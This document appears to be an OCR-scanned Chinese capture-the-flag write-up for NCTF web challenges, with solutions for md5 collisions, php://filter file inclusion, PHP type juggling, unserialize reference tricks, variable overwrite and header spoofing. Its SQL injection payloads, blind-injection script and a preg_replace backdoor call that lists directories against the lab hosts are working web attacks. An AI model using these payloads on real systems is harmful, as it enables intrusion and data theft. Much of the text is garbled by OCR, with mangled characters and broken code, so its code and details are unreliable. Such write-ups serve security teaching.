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md> collision

<?php$md51 = md5("'QNKCDZ0");

$a = @$_GET['a'];

$md52 = @md5($a);if(isset($a)){

if ($a != "QNKCDZO' && $md51 == $md52) {
echo "nctf{*****************}")

} else {

echo "false!!l";

echo "please input a";

E56/E, RphpHIFRALLE:, & Emd5E, FrLMgiE—BFRFRERILEMER, R

€ 115.28.150.176/md5/index.php?a=240610708
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nctf{md5 collision is easy}
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Request Response

Raw | Headers | Hex Raw | Headers | Hex HTMLTRenderw

GET /weh8/search key.php HTTP/1.1 'y HTTP/1.1 200 CK
Host: chinalover.sinaapp.com P Server: sae
Upgrade-Insscure-Fegquests: 1 Date: Wed, 21 Sep Z0lé 12:09:37 GMT
|User—Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x£€4) AppleWebKit/537.3& Content-Type: text/html
(KHTML, like Gecko) Chrom=/53.0.2785.116 Safari/537.36 Connection: keep-alive
Accept: Via: 10.€7.15.48
I text/html, application/xhtml+xml, applicacion/xwl; g=0.9, image/webp, */ *;q=0.8 Contenc-Length: 100
Feferer: http://chinalover.sinaapp.com/webha/
Accept-Encoding: gzip, deflate, sdch <script>window.location="./no key is here forever.php"'; </script>
Accept-Languages: zh-CHN, zh:qg=0.8 key is : nctf{yougotit script now!
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& GET sobg.gif chinalover.sinaapp
& GET fontl.gif chinalover.sinaapp
@ GET search_engine.gif chinalover.sinaapp
@ GET S0.html chinalover.sinaapp

[# GFT font?.aif chinalowver_sinaann
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@ GET animate.min.css

[# GET SO

.htm

[# GET animate.min.css
@ GET S0.htm
GET animate.min.css
= GET 404.html
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chinalover.sinaapp
chinalover.sinaapp
chinalover.sinaapp
chinalover.sinaapp
chinalover.sinaapp
chinalover.sinaapp

<!DOCTYPE HIML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3. org/TR/himld/strict. ded™>

<HTML><HEAD><TITLE>H. A fHifdideMigi, mgoe % TIE? </TITLE>
<META HITP-EQUIV="Content-Type” Content="text/htiml; charset=GB2312">

<STYLE type="text/css™>
BODY { font: 9pt/l2pt FiF |
H1 { font: 12pt/15pt ik }
H2 { font: 9pt/lZpt FiF |
A:link { color: red }
A:visited { color: marcon }

</STYLE>

</HEAD><BODY>

<center’

<TABLE width=300 border=0 cellspacing=10><{TR><TD>

{!-— Placed at the end of the document so the pages load faster ——»
==

{script s/ jquery-n. 7 min. 33" >4/ zcript>

{script s/ jquery-c. 7 min. 33" >4/ zcript>

{script s/ jquery-t. 7 min. 33" >4/ zcript>

{script
{script

zre="./3
zre="./3
zre="./3
zre="./3
zre="./3

s/ jquery-£f
s/ jquery-{

=1
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min. 33" >4/ zcript>
min. 3z ¥4/ zcript>

HEKFflag

-

A —

<
{script
{script
{script
{script
{script
{script
{script
{script
{script
{script
{script
{script
{script
{script
{script
{script
{script
{script
{script
{script
—>

src=". /js/jquery—n.
src=". /js/jquery—c.
src=". /js/jquery—t.
src=". /js/jquery—f.
src=". /js/ jquery—{.
src=". /js/jquery—t.
src=". /js/ jquery—h.
src=". /js/jquery-i.
src=". /js/jquery-s.
src=". /js/jquery— .
src=". /js/jquery-i.
src=". /js/jquery-s.
src=". /js/jquery— .
src=". /js/jquery-a.
src=". /js/jquery— .
src=". /js/jquery—f.
src=". /js/jquery-I.
src=". /js/ jquery—4.
src=". /js/jquery-g.
src=". /js/ jquery—j.

AAencode

7. 2. min.
7. 2. min.
7. 2. min.
7. 2. min.
7. 2. min.
7. 2. min.
7. 2. min.
7. 2. min.
7. 2. min.
7. 2. min.
7. 2. min.
7. 2. min.
7. 2. min.
7. 2. min.
7. 2. min.
7. 2. min.
7. 2. min.
7. 2. min.
7. 2. min.
7. 2. min.

Jjs "></script>
Jjs "></script>
Jjs "></script>
Jjs "></script>
Jjs "></script>
Jjs "></script>
Jjs "></script>
Jjs "></script>
Jjs "></script>
Jjs "></script>
Jjs "></script>
Jjs "></script>
Jjs "></script>
Jjs "></script>
Jjs "></script>
Jjs "></script>
Jjs "></script>
Jjs "></script>
Js </ seript>
Js </ seript>

{!—— Placed at the end of the document so the pages load faster ——>
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nctf{javascript_aaencode}
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Request

Raw | Headers | Hex

Response

Raw | Headers | Hex HTMLTRender}

|GET /web&/search key.php HTTF/1.1

Host: chinalover.sinaapp.com

Upgrade-Insecure-Regquests: 1

|User—Agent: Mozilla/5.0 (Windows NT 1D.0; Winé4; x€4) AppleWebKit/537.36
(KHTHL, like Gecko) Chrome/53.0.2785.118 Safari/537.36

Aceoept:

text/html, application/xhtml+xml, application/xwl;:q=0.9, images/webp, */*:q=0.8
Referer: htop://chinalover.sinaapp.con/webhi/

Accept-Encoding: gzip, deflate, sdch

Accept-Language: zh-CMN, zh:;c=0.8

AR M8 L SR

T

HTTE/Ll.1 200 CE

Server: sae

Date: Wed, 21 Sep Z0le 12:09:37 GMT
Content-Type: text/html

Connection: keep-alive

Via: 10.£67.15.48

Content-Length: 100

<script>window.location="./no key is here forever.php":

key is : nctf{yougotit script now}

</scripts>



TH—%&, ftathksf, FEHELEAERARR
are you from google?
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Start Headers Options  About Help

Select action Add
Action Name Value Comment
Add Referer https://www.google.com/ [ ]

H W iE— 1 Referer,ij i 3t 15 flag
php decode

HH—FR—BRE, $ITE R, BIFRevalfts, B#mechoE#E M, 152iflag

<?php

function CLSI($ZzvSWE)
{

$ZzvSWE = gzinflate(base64_decode($ZzvSWE));

for ($i = 0; $i < strlen($ZzvSWE); $i++)
{

$ZzvSWE[$i] = chr(ord($ZzvSWE[$i]) - 1);
}
return $ZzvSWE;

}

echo (CLsI("+7DnQGFmYVZ+eoGmlg@fd3puloZlfkppeklGdVZhQnISSZq5aUImGNQBAA=="));

?>

X
php://Filter R—FhEE4E, BT AT I I BT L 08 R .



include “test.php” php3CHFEE, FEHATI NS M SCHF A ARARE. SRR FEEREEREN, FHitwr
PIEH php://filter #4T138E, R[E{EHO0,1.

readfile(“test.php”) R M UBIER M R EBOE R, FASWAT, ESER G NS BTN . BEER T
EZLP

file_get_contents(“test.php”) IREME NILAHNE

S R R TRIER S I S E A, AT —RAEFIT XA EEHBHEEIX 25 include “test.php” IR1FHIHL
& test.php HEMITH K. HWRZH readfile(“test.php”) MABATHNT, FEIIEEN KA & #HITER,

i $R s AT AE X R BRSO R A IR, B WIXAE filter BIJ7 IR E php i #EACHS

http://4.chinalover.sinaapp.com/web7/index.php?file=php://filter/read=convert.base64-

encode/resource=index.php

BUR—ER TR E, Ebase64in

PGhobWw+CiAgICA8dG1ObGU+YXNkZjwvdG1lObGU+CiAgICAKPDOwWaHAKCWVYcmOyX3J1cGOydGluZygwKTsKCWImKCEKXOdFVFtmalWx1XS17ZWNo
byAnPGEgaHJ1Zj0ilLi9pbmRleC5waHA/Zm1sZT1zaG93LnBocCI+Y2xpY2sgbWU/IG5vPCOhPic7+QoIIGZpbGU9IFOHRVRbI2ZpbGUNXTsKCW1m
KHNOcnNOcigkZmlsZSwili4vIil8fHNOcmlzdHIoJIGZpbGUsICIOcCIpfHxzdHIpc3RyKCRmaWx1LCIpbnB1dCIpfHxzdHIpc3RyKCRmaWx1LCIK|

YXRhIikpewoJCWVjaG8gIk90oIG5vISI7CgkIZXhpdCgpOwolfQoJaW5jbHVkZSgkZmlsZSk7IAovL2ZsYWc6bmNOZnt1ZHVsY25pX2VsaWZbGFj
b2xfc21fc210dHOKC]j8+CjwvaHRtbD4=

KGR

<html>
<title>asdf</title>

<?php
error_reporting(0);
if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();

}
include($file);
//flag:nctf{edulcni_elif lacol si_siht}
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TR, BEERburpsuite2#:, i midrkey*™*, M Repeaters #rhlfFflag*

Request Response

Raw | Headers | Hex Raw | Headers | Hex
GET /web9/index.php HTTP/ 1.1 |; HTTP/Ll.1l 302 Found
Host: chinalover.sinaapp.com Server: sas
Upgrade-Insecure-Requests: L Date: Tus, 04 Oct Z0lE 0Z:04:56 GMT
User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x64) AppleWebKit/537.3E Content-Type: text/html
(FHTML, like Gecko) Chrome/53.0.2785.11¢ Safari/537.3€ Content-Length: O
Accept: Connection: keep-alive
text/html, application/xhtml+xml, application/xml;q=0.9, imags/wshp, */ *;q=0.8 flag: netf{this_is_302_redirsct)
Referer: http://chinalover.sinaapp.com/ webd/ Location: heep://chinalover.sinaapp.com/web8/no_key_is_here_forever.php
Aecept-Encoding: gzip, deflate, sdch Via: 10.67.21.2¢

Accept-Language: zh-CH,zh:;q=0.8

Download~!

FFHburpsuiteMBEE, mERANTEREN—T, RWEMNulZRZER), 1 HRbase644mts

. L L L L
GET /webé/download.php?url=eGluZihpbndkaWFuZsvuZysceDM= HTTP/L1.1
Host: wav.nuptzj.cn

J Raw | Params | Headers | Hex |

FET /webé/download. php?url=TnV4aWFuZipoTUsnZGEubXiz HTTR/ 1.1
Host: way.nuptzj.cn
[Tnerrade—Tnascure-Rermisests: |

XFER G — T download.phpiibase6d4itd , B UliEZ1T, BEJRIG

<?php

error_reporting(0);

include("hereiskey.php");

$url=base64_decode($ GET[url]);

if( $url=="hereiskey.php" || $url=="buxiangzhangda.mp3" || $url=="xingxingdiandeng.mp3" || $url=="download.php")

{
$file_size = filesize($url);
header ( "Pragma: public" );
header "Cache-Control: must-revalidate, post-check=0, pre-check=0" );

header "Cache-Control: private", false );

header "Content-Type:audio/mpeg MP3");

(
(
header ( "Content-Transfer-Encoding: binary" );
(
(

header "Content-Length: " . $file_size);
header ( "Content-Disposition: attachment; filename=".$url);
echo(file_get contents($url));
exit;

}

else {
echo "Access Forbidden!";

SPTRISE %18 — A hereiskey.php , #iEurl#Ess v 5flag

COOKIE



HHANE, BErFEEES, FHAburpsuitedE XKIIREIK) Login=0 , FE&HRR, FBEME Login=1, EHEFH KIHFEHHLive
HTTP headers™***

HI 1P Headers

Host: chinalover.sinaapp.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; n:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html application/xhtml+xml.application/xml;q=0.9,*/*,q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Cookie: Login=1

Connection: keep-alive

Upgrade-Insecure-Requests: 1

HFEX R f#flag*

MYSQL

<pre>RHIRFFL, flaghfEX, XANXHFPHBIRESTE T ?
TECTFHLERH, AR BERRE R

if($_GET[id]) {
mysql_connect (SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
mysql_select_db(SAE_MYSQL_DB);
$id = intval($_GET[id]);

$query = @mysql fetch_array(mysql_query("select content from ctf2 where id="'$id'"));
if ($_GET[id]==1024) {
echo "<p>no! try again</p>";
¥
else{
echo($query[content]);

WRIE R IT I robots.txt K I — A, F ™ intval §H 2B (http://www.php.netmanual/zh/function.intval.php)
#ritssql php?id=1024. 181 8flag

sql injection 3

THHE R

P AT HIsqliEA]: SELECT id,tite FROM news WHERE id=‘1"
ZRAE WGBS, RULREAMGEESHI\
http://115.28.150.176/sqli/index.php?id=1" select * from news

BERTETHE /. Zikid K id=2 B HIRR

id: 2 title: gbk_sql_injection


http://www.php.net/manual/zh/function.intval.php%25EF%25BC%2589%25E6%259E%2584%25E9%2580%25A0
http://115.28.150.176/sqli/index.php?id=1

EREFFZHIEN, B TR
AT &N Y FELE %df B Bz \
ZIRER, REWE

http://115.28.150.176/sqli/index.php?id=[1" union select *,1 from flag%23

Hiflag

/x00

view-source:

if (isset ($_GET['nctf'])) {
if (@ereg ("~[1-9]+$%", $_GET['nctf']) === FALSE)
echo 'WIIANBZEAAT" ;

else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)
die('Flag: '.$flag);

else
echo 'S, 4R4EZSIIEMI~';

BB A R AT,

http://teamxlc.sinaapp.com/web4/f5a14f5e6e3453b78cd73899bad98d53/index.php?nctf=1%23biubiubiu

%5 Zlflag

fn: nctff]=1.#biubiubiu
2% (http://www.2cto.com/article/201502/377462.html)

bypass again

if (isset($ GET['a']) and isset($ GET['b'])) {
if ($_GET['a'] !'= $_GET['b'])
if (md5($_GET['a']) === md5($_GET['b']))

die('Flag: '.$flag);

else

print 'Wrong.';

¥

—FFIRLARMASI S KRR, £RRIREFETHRBRMILE, X HEREmISE B AL, i 2al]=18b[]=2 X
FEmd5R B % 4 2 50 40 R Bl false 52 ik L it /5 Elflag
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http://blog.csdn.net/hw_henry2008/article/details/6736017
http://115.28.150.176/sqli/index.php?id=%25df
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http://www.2cto.com/article/201502/377462.html%25EF%25BC%2589

<?php if ($_SERVER["REQUEST METHOD"] == "POST") { ?>
<?php
extract($_POST);
if ($pass == $thepassword 123) { ?>

<div class="alert alert-success">
<code><?php echo $theflag; ?></code>
</div>
<?php } ?>
<?php } ?>

RIAE — extract , BR—TFHEXER, KMERHA
http://imwww.w3school.com.cn/php/func_array_extract.asp

RHEAREZAKE, BERERRT

INI ¥ ® @ SQLT XASST ENCryptionT kncodingT Uthert

@l Load URL | http://chinalover.sinaapp.com/web18/index.php
b split URL

b Execute

Enable Post data [ | Enable Referrer

Post data pass=1&thepassword 123=1

B 3flag nctf{bian_liang_fu_gai!}

PHPR it 5t L & IFHIES

<?php

if(eregi("hackerDJ]",$ GET[id])) {
echo("<p>not allowed!</p>");
exit();

}

$ GET[id] = urldecode($_GET[id]);

if($_GET[id] == "hackerDJ")
{

echo "<p>Access granted!</p>";
echo ”<p>f1ag: *****************} </p>";

?>

XIE R H KB BE T urldecode() » 5B RE $ GET[1d] BL#HTurlmil . MAXIEEE R FER id=hackerdI HEATHH Xurl
IRABEPTE]
B % Kipayload A :

http://way.nuptzj.cn/php/index.php?id=hackerD%4a

CEE
RN VLN RE A B f, 1338, E3EF FIModify Headersi il X-Forwarder-For: 127.6.0.1
Fil % BN 15 flag

Header


http://www.w3school.com.cn/php/func_array_extract.asp
http://way.nuptzj.cn/php/index.php?id=hackerD%25254a

WiERERL, BEFEEflag

Efeseid

BEAR bfEs, HRBHER, KIARI)

FEWF FAEWT, 2AME xi.php . jpg R T Hex BB AH0058E &, RITEST

RIE—A /uploads , KIEMIMLEIE KX T SHdirféfE—MuploadsiIfE, A /uploads/xi.php[ZH] , BEEiHex
T WIS MK IH 2 filename="xi.php.Jpg

T DA B i g
SQLIEA

<pre><?php
if($_POST[user] & & $ POST[pass]) {
mysql_connect(SAE_MYSQL HOST M . ':' . SAE_MYSQL_PORT,SAE_MYSQL USER,SAE_MYSQL_PASS);
mysql select db(SAE_MYSQL DB);
$user = trim($_POST[user]);
$pass = md5(trim($_POST[pass]));
$sql="select user from ctf where (user='".$user."') and (pw='".$pass."')";

echo '</br>'.$sql;
$query = mysql_fetch_array(mysql_query($sql));
if($query[user]=="admin") {
eChO "<p>|_0gged ln‘ -Flag:******************** </p>";
¥
if($query[user] != "admin") {
echo("<p>You are not admin!</p>");
¥
¥

echo $query[user];
?></pre>

R ERRVEN, HiE

user=admin '#

RO, FHZIEN, RAE - (, REHAS
user=admin ')#

#B3lflag: nctf{ni_ye hui_sql?}
pass chack

L YR RS

<?php
$pass=@$_POST[ 'pass'];
$passl=*; / /P BRI R 1) D
if(isset($pass)) {
if(@!strcmp($pass,$passi)){
echo "flag:nctf{*}";
} else {
echo "the pass is wrong!";

¥
} else {

echo "please input pass!";



http://www.cnblogs.com/hack0ne/p/4603144.html

RAR—FBRBHAT
Hi&

flag:nctf{stremp_is_n0t_3afe}

T 44 R X

<?php
function noother_says_correct($number)
i
$one = ord('1");
$nine = ord('9");
for ($i = 0; $i < strlen($number); $i++)
{
$digit = ord($number{$i});
if ( ($digit >= $one) && ($digit <= $nine) )
{

return false;

return $number == '54975581388"';
)

$flag='******* U ;

if(noother says correct($ GET['key']))
echo $flag;

else

echo 'access denied’;

?>

—FEFEREkey BN EH19Z BT, HEREFEMKey 5549755813884, XHEREZERT/S#H], 1E
1549755813881 7~ i #ill &2 Oxccccecece 4 B ANTE1-92 |H]

http://chinalover.sinaapp.com/web12/index.php?key=0xcccccccce

5 3lflag
FEE
BAHYIXES, HEINE, B useri=YWRtaws= fl user=admin B f3flag

php &5 %546


http://chinalover.sinaapp.com/web12/index.php?key=0xccccccccc

REEEA RS

<?php
class justdfun {
var $enter;

var $secret;

}

if (isset($_GET['pass'])) {
$pass = $ GET['pass'];

if(get_magic_quotes_gpc()){
$pass=stripslashes($pass);
¥

$0 = unserialize($pass);

if (%0) {
$0->secret = "*";
if ($o->secret === $o->enter)

echo "Congratulation! Here is my secret: ".$o->secret;

else
echo "Oh no... You can't fool me";

}

else echo "are you trolling?";

get_magic_quotes_gpc()— 3REX 4 H magic_quotes_gpc HIEE B iRk B

BR%IRE FALSE , BINRXANEARTG SIHEECZEMN PHP hEE T
MAKEREEZERZKEF I 5 R FHIL

W UE — TR

http://www.cnblogs.com/A-Song/archive/2011/12/13/2285619.html

L ST
serialize() BEMEH EWNBIERITHY:, HERNEMN BN EZRFE.
unserialize() ¥ &7 540 Z 55 5 Pk 58 R R g RNER S 1

)g%m%}\ﬂql’a%’z‘ﬁ}if?ﬂ%, s 4t 580
ﬁn 0?&4?%5‘2% 9 )rluo'>SGCret%E£mﬁﬁ{Ej‘\j_/l\--*-.
iR $o->secret === $o->enter, 4 HifiHo->secret

HTRENEHSE, BABEFERHA:

FE** PHP **oh 5@ A& R B AT B A5t R AR W R object B, 7E PHP 5 92 DL5| FIMER, BRIEBAEMER T **clone *
KEFREN, “PHP X #5 ARME, FH

$var = &$othervar;


http://www.cnblogs.com/A-Song/archive/2011/12/13/2285619.html

FIRBERRENNZERA T RA—A8E, BAEIUEMRTE,
AT i -

var $secret;

}

$0 = new just4fun();
$o->enter = &$o->secret; //KEREM. RAVEMSI LS, ik$o->secretlIfEM$o->enterflf, SR RRATH
echo serialize($0);

?>

P71 8 A

0:8:"just4fun":2:{s:5:"enter";N;s:6:"secret";R:2;}

R 515 2flag
sql injection 4

BHRR:

TIP: AL AT L SR X
A E A SR R B %

BEIR:

error_reporting(9);

require

function clean($str){
if(get_magic_quotes gpc()){
$str=stripslashes($str);

1
J

return htmlentities($str, ENT_QUOTES);

@clean((string)$ GET[ 1);
@clean((string)$_GET[ 1;

.$username. .$password.
$result=mysql query($query);
if(!$result mysql num_rows($result) 1){

)i

XEATLAE H get_magic_quotes_gpc() XNEREFEES S, BRAKphpEEBERIXAINEE, EXBEHABR,
=&



2 magic_quotes_gpc fTFTR, B’ (8515), " (W3]=), \ (RFILK) and ZFH 2 B NENEHE RBLKFE LT .
S

5 stripslashes() #EEM, WRECEMERFTER \ 1
e

T htmlentities($str, ENT_QUOTES) ‘IE4ALFTA KX G| S M T S
BB

T8 B X A sqlE #ARRS, ATLALANE, EEBITER, MeIWE—NEEMRE, M—or 1HZITME T 1515
ERES SHITER PR

1. A A&

2. A\ B#%

X E A AR

EXBEWT B, PFrUmBMER \ R

i LApayload:

http://chinalover.sinaapp.com/webl5/index.php?username= \&password= or 1%23

REFIAB LN EREDR

SELECT * FROM users WHERE name=""AND pass=’ or 1#’;

<« C O ‘ ® localhost:8080/htm.php?username=%20\&password=%200r%201%23
2 wAm [@ = G Google | AR | MOOC | ERFS  CTF &2 #E kR IE

flagl

%%iﬂﬂag: nctf{sql_injection_is_interesting}

Sl

1177 JG —%F Rjother ELEFI FI KNI i & 47 ¥ 1 15 BIRAL J5 A 45 R
1bc29b36f623ba82aaf6724fd3b16718. php

SERITTFRRIAAR, EREIRT —F

XHH A Ftip: bash

BET—THR, BEEH /.bash_history X2 FHRFB HILFKE), XHHESZ KT 1
http://teamxlc.sinaapp.com/web3/bOb0ad119f425408fc3d45253137d33d/.bash_history
S

zip -r flagbak.zip ./*

HEVi M flagbak.zip

LB/B—ANTHESE, THRASag

SQLAEA2
BRI


http://baike.baidu.com/link?url=3jnFS8qKkLsNLSFI43hOJQFplaYbAbiAn7eUIDs2K33Jd1bxk6inaYVjMAfam5TOnTX9D-mXJjGsL55gI2xbvFrFtDkgLMQ8MuuMFvO1JHi
http://www.w3school.com.cn/php/func_string_stripslashes.asp
http://www.w3school.com.cn/php/func_string_htmlentities.asp

<?php
if($ _POST[user] $ POST[pass]) {
mysql_connect(SAE_MYSQL _HOST M . . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
mysql_select db(SAE_MYSQL _DB);
$user = $ POST[user];
$pass = md5($ _POST[pass]);
$query = @mysql fetch_array(mysql query(

if (($query[pw]) (!strcasecmp($pass, $query[pw]))) {
echo 5
)i

else {

echo(

1
J

LA R ARY

$query = @mysql_fetch_array(mysql_query(“"select pw from ctf where user='$user'"));
if (($query[pw]) && (!strcasecmp($pass, $query[pw]))) {

echo "<p>Logged in! Key: ntcf{**¥dkttxikoktsxl .

strcasecmp AR/ GE, X R BB FEmASEMFERI R, #7aCL3T Aunion, RATTHE AT LA & & % # T payload
http://4.chinalover.sinaapp.com/web6/index.php?user=" union select md5(1)# & pass=1
Eff§flag

LRE 2
BEE R

HHAHUERR—NEER, HTXEESRxssHE, FrENREANF R, ZHREEA— N

EMEEENE A | (RGNS REHIGE | AERLEREE~ 8, 50T EEREFEEIEE )

RABEFIRN, BEAE LR, BITFARSEHANGEE, A3 adiEn, RERT

<Sdiv>

{div>
<h4><{a href=". /about. php?file=sm. txt”">4<CMSi} W] <{/a><{/h4>

</div>

” e



<meta http-equiv="Content-Type" content="text/html; charset=utf-8"
RIE, XRZEEE T REMEBER . - .
ETHESHUEFET E, XRERNEERT. . .

ARCMSHFunny AR FEMARESRASR, WEAFEARBK Y, HCMSEKAHE
BRI R, Z4eteMmse AT E~&1t; /bragt;

PAF RACMS B X ThE VLB (FE T2 frdl, R3 T 343X
config.php: FFBEHIEEREE, BHEILCMSEH ZEk
index.php: FE 4
passencode.php: FunnyA & B 5 %8005 8k E
say.php: FTEWMGEBEFPESER
sm.txt: ZSCMSH]EBH kY

saefflinformation_schemaFFBEZEKRER, REXEL HadminK s
create table admin (

id integer,

username text,

userpass text,

THRZIEZH:
ABEWNRFEH: =R/ (root#zcnhonker.net)&amp; %% (hh250@qq.com)JF
K. BRANIEZRREE B, AR E AR, AT RANR. FreAX—. o RAMBH SR ERAT R .

e BB, BEERRIAIT, FHW— TR R 15
http://cms.nuptzj.cn/about.php?file=

&KX P78 2l index.php « passencode.php « say.php - config.php . about.php

-php

http-equiv content
http-equiv content

$_GET[ 1;
strstr($file,

]

$cut=strchr($file,
if($cut==Ffalse){

$data=file_get contents($file);
$date=htmlspecialchars($data);

meta http-equiv content
<?php

if(!isset($_COOKIE[ 1)){
setcookie(




DOCTYPE html PUBLIC

html xmlns

head

meta http-equiv content
title> EXMBHEBEMRTF G </title

style type

.STYLE1 {font-size: 18px}

style
head

body
center
hi>X1lcteam% /' B 5k </h1l
p><hr nbsp;</p
div align style
h3>&nbsp;&nbsp; KWK EIX1cteamZF F HE R, HAL AR LAEX BB T AN B KR BRI, <br br
nbsp;&nbsp; RARFEAMWRMEMLE Z 2RSS . EMAR LI, &RAFRBSERKE THNAR, BENEB, —HERT
o F, AARBEE. <br
nbsp;&nbsp; AAF KA EH SN BEAE, M, EBRNFE—F, wR2EFMH~. <br
nbsp;&nbsp; RAITARIEAN], HFAFERBERN (BHED %76~ come on! ! h3
nbsp;</div
hr
div id
h2>Z P HEE:
<?php

include
include 5
$con = mysql_connect($db_address,$db_user,$db_pass) or die( .mysql_error());
mysql_select_db($db_name,$con);
$page=% GET[ 1;
if($page $page==0){

$page

bj
$page=intval($page);
$start=($page-1)*7;
$last=$page*7;
$result=mysql_query( $start,$last");
if(mysql _num_rows($result)>0){
while($rs=mysql_ fetch_array($result)){
echo htmlspecialchars($rs| 1,ENT_QUOTES).
echo .antixss($rs| 1.
b

b
mysql free result($result);

?>

center

p><a href
<?php
$contents=mysql query(
if(mysql num_rows($contents)>0){

$num=mysql num_rows($contents);

d 0ol A




$pagenum=intval($num/8)+1;

}else{

$pagenum=intval($num/8);

)i

for($i=1;%i<=%$pagenum;$i++){

echo .htmlspecialchars($i). .htmlspecialchars($i).
)i

}
mysql free result($contents);

mysql close($con);
?>
a href $pagenum

p
form method action

HESHEER(WMAID):
input name type
input type value
form
center
div
hr
div id align
h2>B5: </h2
form method action

span class Be#R: </span

input name type id
<?php

$username=$_COOKIE[ 15
$username=htmlspecialchars($username, ENT_QUOTES);
echo .$username. ;
?>
label
p class W%: <br
nbsp;&nbsp;&nbsp;<textarea style i textarea
label
br
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
input onclick type

label
br
nbsp;&nbsp;&nbsp;&nbsp; (FATA[a]Mik[/a]fi&&lt;a href=&quot;Mit&quot; &gt;Mikalt;/akgt;)
form
div
div
h4><a href ARCMSHEBA</a></h4
div
div align
Y i - 41 2 BR B (HUC) B M <br
div
center
script
function checkform(){
if(say.nice.value say.usersay.value
alert( )
return false;
}else{

return true;




script
body
html

passencode.php

meta http-equiv content
<?php

function passencode($content){

$array=str_split($content);

$pass="";
for($i=0;%$i<count($array);$i++){
if($pass )q{

$pass=$pass. .(string)ord($array[$i]);
}else{

$pass=(string)ord($array[$i]);

1
J
1
J

return $pass;

1
J

?>




say.php

meta http-equiv content

meta http-equiv content

$username=$ COOKIE[
$userpass=$ COOKIE[
if($nice $say ){
echo

$con = mysql connect($db_address,$db _user,$db _pass) or die(
mysql select db($db_name,$con);

$nice=mysql_real escape_string($nice);
$username=mysql_real_escape_string($username);

$userpass=mysql _real_escape_string($userpass);

.mysql_error());

$result=mysql_query( $nice'",$con);

$login=mysql_query( $username
if(mysql_num_rows($result)>0 mysql_num_rows($login)<=0){
(elgle] 5
mysql_free_result($login);

mysql_free_result($result);

mysql_close($con);

exit();

b

mysql_ free result($login);

mysql_free_result($result);

$say=mysql _real escape_string($say);

$nice

M index.php B LLHIIE antixss.php , JRIZTE%1H so.php « preview.php

$userpass'",$con);

$say ,$con);




preview.php

meta http-equiv content
DOCTYPE html PUBLIC

html xmlns
head
meta http-equiv content
title>WRE S </title
head

center
div id align
form method action

p
input name type id value=<?php echo .htmlspecialchars($prenice). ;P>

input name type id value=<?php echo .antixss($presay). ;P>

<?php echo htmlspecialchars($prenice); ?>:<br
nbsp;&nbsp;&nbsp;&nbsp;
<?php echo antixss($presay);?><br br
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
input onclick type

p
form

div

(3R : IRIREEE, xssARIER DAERT), RVFE 524 TR A, #EBBRIE!, BARBAZxss
center

script

function checkform(){

if(say.nice.value say.usersay.value ){

)§

return true;
bj
script
body
html




Helslq]s}

meta http-equiv content
DOCTYPE html PUBLIC

html xmlns
head
meta http-equiv content
title>#REF </title
head

body

$id=antiinject($id);

$con mysql_connect($db_address,$db_user,$db_pass) or die( .mysql_error());
mysql_select_db($db_name,$con);

$id=mysql _real_escape_string($id);

$result=mysql_query( $id");
$rs=mysql_fetch_array($result);

echo htmlspecialchars($rs[ 1). .antixss($rs[ 1.
mysql_free_result($result);

mysql_free result($file);

center
body
html

M so.php BHIIEA antiinject.php

antiinject.php

meta http-equiv content
<?php

function antiinject($content){
$keyword=array( 5

PR ="

$info=strtolower($content);
for($i=0;%i<=count($keyword);$i++){
$info=str_replace($keyword[$i], ,$info);
b

return $info;

}

?>

B, EA AR CAEBEHCEE CESEFAGH TR, oTLUEE A EZE—REK TEE 8%
AT



http://blog.csdn.net/qq_31481187/article/details/52097287#t32

import requests
import HTMLParser

HTMLParser.HTMLParser()
iin s:
url
codecs. ( (1)
requests.get(url)
s.encoding

.write(h.unescape(s.text))

7 A IR

@3¢ so.php Ml antiinject.php AT LA X TR FEIESQVEN, JBITBFS antiinject.php AT NI — Lot 4 30 % e
A, IXREIE, ARIER ISR T UL K, ORI SRR A YE VB ), B T user-agenthi [, 7 LI F Modify
Headersi&—F

|Add User-Agent Xlcteam Browser ®

& 1EH)
soid=1/**/aANDnd/**/exists(sSELECTelect/**/*/**/fFROMrom/**/aADMINdmin/**/where/**/length(usernnameame)>4)
B3 username K& A5
soid=1/**/aANDnd/**/exists(sSELECTelect/**/*/**/fFROMrom/**/aADMINdmin/**/where/**/length(userpaspasss)>33)
1850 userpass K& N34

REEHARK S EG

for i in dic:

}

response requests.post(url=url,headers=header,data=data)
if( (response.text) 430):
result i
break
print(result)




5 admin

1 1020117099010701140117011001160117

@it passencode.php A LLANTE % SCRASCIHE, fE#4S fuckruntu
SR J5 BBk http://cms.nuptzj.cn/loginxlcteam

HREMEZ=TRE . BERRE— T flagl:nctf{}

EREIZE , RERARRSATIRBMFNFT
HERBBRRE—IT

BEAEFREGSHMEHRT  ATHESE , BTSN T - —DEASERNEHRERT
INSEIRERA :

Bia , B8~ Fiahk

FTFF 1cteam.php 53):

<?php
e = $_REQUEST[ K

$arr = array($_POST[
array_walk($arr, $e, )E

?>

WA phpEIAE ], BEEEAE X
www=preg_replace&wtf=print_r(scandir("."))
BB KERFBFLlag2. txt

5 BBl flag:nctf{you_are_so_good hacker}

1. B R EEAE LS — T B AT LAk 2l
2. linux F—RUEMvigniaas, Jf B WiR W &8 T &40

3. 552K Abypass

1 B E VRAD A ON 5 — T B AT DAAS B B B R A

<meta name="admin" content="admin@nuptzj.cn" />

RIEMRIERR2, BBR—TF

%3 (hitp://blog.sina.com.cn/s/blog_87f166¢f010178sn.html)

AR ETE swp XM, FFIRZR, KIL .submit.php.swp FF7E, 153506 MEIRRD


http://blog.sina.com.cn/s/blog_87f166cf010178sn.html

X—1T R W AT

if(!empty($token)&&!empty($emailAddress)){
if(strlen($token)!=10) die( );
